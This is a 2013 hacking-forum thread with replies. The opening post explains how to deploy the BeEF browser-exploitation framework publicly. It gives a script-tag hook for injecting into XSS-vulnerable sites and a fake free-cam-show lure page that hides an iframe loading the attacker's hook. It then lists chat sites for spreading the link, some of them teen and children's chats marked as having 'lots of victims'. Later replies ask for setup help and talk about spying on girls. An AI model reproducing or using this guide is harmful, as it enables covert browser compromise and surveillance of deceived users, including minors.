

Forum:[Hack Forums](#)

Thread: [BeEF XSS Complete setup and e-whore tips](#)

xSploit™ - March 14, 2013, 7:06 pm

Haven't seen a tutorial for setting this up outside of LAN so here you go. If you don't already know what BeEF is, click [here](#) Requirements

Portforwarding, click [here](#)

[Backtrack 5 r3](#)

A webhost, I recommend [SPAM](#)

Setting up BeEF

1. Go to applications>backtrack>Exploitation Tools>Social Engineering Tools> BEEF XSS Framework>BeEF Installer and wait till it has finished installing.

2. Head over to your filesystem and go to pentest>web>beef>config.yaml

3. Change the default username and password login

Spoiler ([Click to View](#))Code # Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension

credentials:

user: "beef"

passwd: "beef"

Then edit

Spoiler ([Click to View](#))Code http:

debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.

host: "127.0.0.1"

port: "3000"

if running behind a nat set the public ip address here

#public: ""

#public_port: "" # port setting is experimental

dns: "localhost"

panel_path: "/ui/panel"

hook_file: "/hook.js"

hook_session_name: "BEEFHOOKE"

session_cookie_name: "BEEFSESSION"

and change the port to 80, public to your IP address and public port to 80. This makes sure your server isn't just running on LAN.

4. Starting up BeEF

Go to applications>backtrack>Exploitation Tools>Social Engineering Tools> BEEF XSS Framework>BeEF and wait till it starts up.

Head over to <http://yourip/ui/panel> in your browser and login with the username and password you set.

BeEF is now setup!

You can inject your hook into XSS vulnerable websites using

Code <script src="http://yourip/hook.js"></script>

E-whoring tips (completely optional)

1. Setup a SPAM account with a domain like privatecamshows.netai.com

2. Upload an index.html with something like this

Spoiler ([Click to View](#)) Code

```
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<link REL="SHORTCUT ICON" HREF="http://tabstart.com/system/icons/696/original/favicon.ico">
<title>MyWebby</title>
<style>
body {
    margin: 0;
    padding: 20px;
    background: #efefef;
    color: #333;
}
#wrapper {
    margin: 20px auto 20px auto;
    width: 600px;
    background: #fff;
    padding: 40px;
    border: 1px solid #fff;
    border-radius: 10px;
    -moz-border-radius: 10px;
    -webkit-border-radius: 10px;
    box-shadow: 0 0 2px #999;
    -webkit-box-shadow: 0 0 3px #999;
}

body, th, td, input {
    font: 13px/17px "Lucida Grande", "Lucida Sans Unicode", Arial, Verdana, sans-serif;
}
.warning {
    background: #fffedf;
    padding: 8px;
    border: 1px dashed #ccc;
    border-radius: 4px;
    -moz-border-radius: 4px;
    -webkit-border-radius: 4px;
    font-size: 90%;
}
</style>
</head>
<body>

<div id="wrapper">
    <h1 align="center"></h1>
    <p align="center" class="warning">Welcome to MyWebby Webchat</p>
    <center></center>
    <form name="form1" method="post" action="">
    <p align="center">Show will begin in a couple of minutes!</p>
    <label for="textarea"></label>
    <div align="center">
```

```
</div>
</form>
</div>
</body></html>
```

```
<style type=text/css>
body {
background-color: #000000;
}
#box {
border: 0px double black;
font-family: Verdana;
margin-right:160px;
margin-left:160px;
background-color: #000000;
}
</style>
```

```
<iframe src="http://xx.xx.xx.xx/demos/basic.html" width="0" height="0" frameborder="0"></iframe>
```

```
<center><div class="copyright">Content and Graphics Copyright © 20011 - 2013 MyWebby - all
rights reserved</div></center>
```

3. Edit index.html and replace yourip

Code <http://yourip/demos/basic.html>with your own IP address

4. Go to any chat sites

Spoiler ([Click to View](#))Code <http://www.cam4.com/>

teenchat.com - good few victims

omegle.com

chatroullete.com

<http://www.chat-avenue.com/>

kidschat.net - lots of victims

adultchat.com -lots of traffic best to spread

<http://321teenchat.com/>

<http://www.motherless.com>

<http://www.javachatrooms.net/>

<http://www.Craigslist.com>

<http://www.skyrock.com/>

<http://www.chat-avenue.com/>

<http://www.omegle.com>

<http://Chatroulette.com>

<http://www.pof.com/>

<http://www.midnightchatcity.com/sex/>

<http://www.talkcity.com/>

<http://camvoice.com/>

<http://www.adultchat.net/>

<http://www.upforit.com/>

<http://www.freechatnow.com/>

<http://www.321adultchat.com/>

<http://www.xschat.com/>

<http://www.advancedchat.com/preteen/>
<http://www.teenchatstorm.com/>
<http://www.chatround.com/chat.php>
<http://www.chat-place.org/chat.htm>
<http://www.javachatrooms.com/chatrooms/index.html>
<http://www.javateenchatroom.com/chatrooms.html>
<http://www.chatopen.com/>
<http://www.freejavachat.com/chat.php>
<http://www.chat-connection.com/teens/>
http://www.chathour.com/chatroom/dirty_chat_for_teens
<http://www.freedirtychat.net/>
<http://www.bigchatrooms.com/>
<http://www.cupid.com/dirty-chat-online.html>
<http://www.chatroomss.com/dirty-chat.html>
<http://www.teenchat.com/>
<http://www.teen-chat.org/>
<http://www.teenagechatrooms.com/>
<http://www.teenchatnow.net/>
<http://www.teenchatworld.com/>
<http://www.teenssite.co.uk/>
<http://www.teenchatcenter.com/>
<http://www.ultimate-chatzone.com/teenschat.html>
<http://www.teenchat.co/>
<http://www.teenchat.uk.com/>
<http://www.teen-chat-rooms.net/>
<http://www.teenspot.com/chat/>
<http://www.teensay.com/chat/>
<http://www.knuddels.de/>
<http://www.teenchatplace.com/>
<http://www.babblesex.com/>
<http://www.321adultchat.com/>
<http://www.chat-connection.com/adults/adult1.html>
<http://www.adultchatadultchat.com/>
<http://www.adultchatpad.com/>
<http://www.chatix.co.uk/>
<http://www.adult-chat-world.com/>
<http://www.weirdtown.com/chat/adult.jsp>
<http://www.chat-buddy.com/>
<http://www.teenspot.com/>
<http://www.chatzppl.com/>
(found that list from another e-whoring tutorial)

Say stuff in the chat like "6 spots left on my private cam show that is FREE :* pm if interested"
After sending once you could get 10 messages from people, just tell them to visit your SPAM site
and say that you'll be on in a couple of minutes. Meanwhile you're at work on BeEF.

There's so much you can do with BeEF so get experimental ?
Hope you liked my second tutorial here on HF, any problems or questions drop a comment down
below.
Thank you.

This is a very nice tutorial on BEEF there hasn't been many tutorials on it. very nice

Gpure - March 14, 2013, 7:49 pm

You do not need BT to run BeEf. You can install the framework on whatever Operating System you want.

xSploit™ - March 14, 2013, 8:55 pm

(Mar 14, 2013 07:49 PM)Gpure Wrote: [\[CITE\]](#) You do not need BT to run BeEf. You can install the framework on whatever Operating System you want. Yes but for this I'm using BT because it's extremely easy to setup.

(Mar 14, 2013 07:29 PM)Haseo™ Wrote: [\[CITE\]](#) This is a very nice tutorial on BEEF there hasn't been many tutorials on it. very nice Thank you :)

Freezer666 - May 4, 2013, 12:52 am

actually what IP address i should give here?(<http://yourip/demos/basic.html>) for this i want to use static ip by using NO-ip.org???

PoLoW - July 18, 2013, 7:57 pm

(May 4, 2013 12:52 AM)Freezer666 Wrote: [\[CITE\]](#) actually what IP address i should give here?(<http://yourip/demos/basic.html>) for this i want to use static ip by using NO-ip.org???

Two months and half since last post on this thread , But i will answer that Since I'm making a research about BeEF .

You simply Put your IP address that Your ISP gave you so you can browse Internet , you can Find that IP address by going to www.whatismyip.com

Have a Good day and nice thread OP

nonogoeswild - July 19, 2013, 3:23 am

sounds interesting but it's a technic that only can trap men!! i wish i could trap some girls hehe...would be cooler to be able to spy on some beauties :P

PoLoW - July 19, 2013, 12:44 pm

(Jul 19, 2013 03:23 AM)nonogoeswild Wrote: [\[CITE\]](#) sounds interesting but it's a technic that only can trap men!! i wish i could trap some girls hehe...would be cooler to be able to spy on some beauties :P

You can do the same to Girls , Use your brain !!

parvezasif44 - August 31, 2015, 8:58 pm

how do i change my port to 80,the beef default port is 3000 which is a local port.

SLIDERzz - December 10, 2017, 5:50 am

Anyone that can do a video on this?

Hopsin - December 12, 2017, 5:29 am

(Dec 10, 2017 06:50 AM)SLIDERzz Wrote: [\[CITE\]](#) Anyone that can do a video on this?

Don't see the point since the instructions are easy-to-do... also this is 2013 thread if you haven't noticed buddy! ?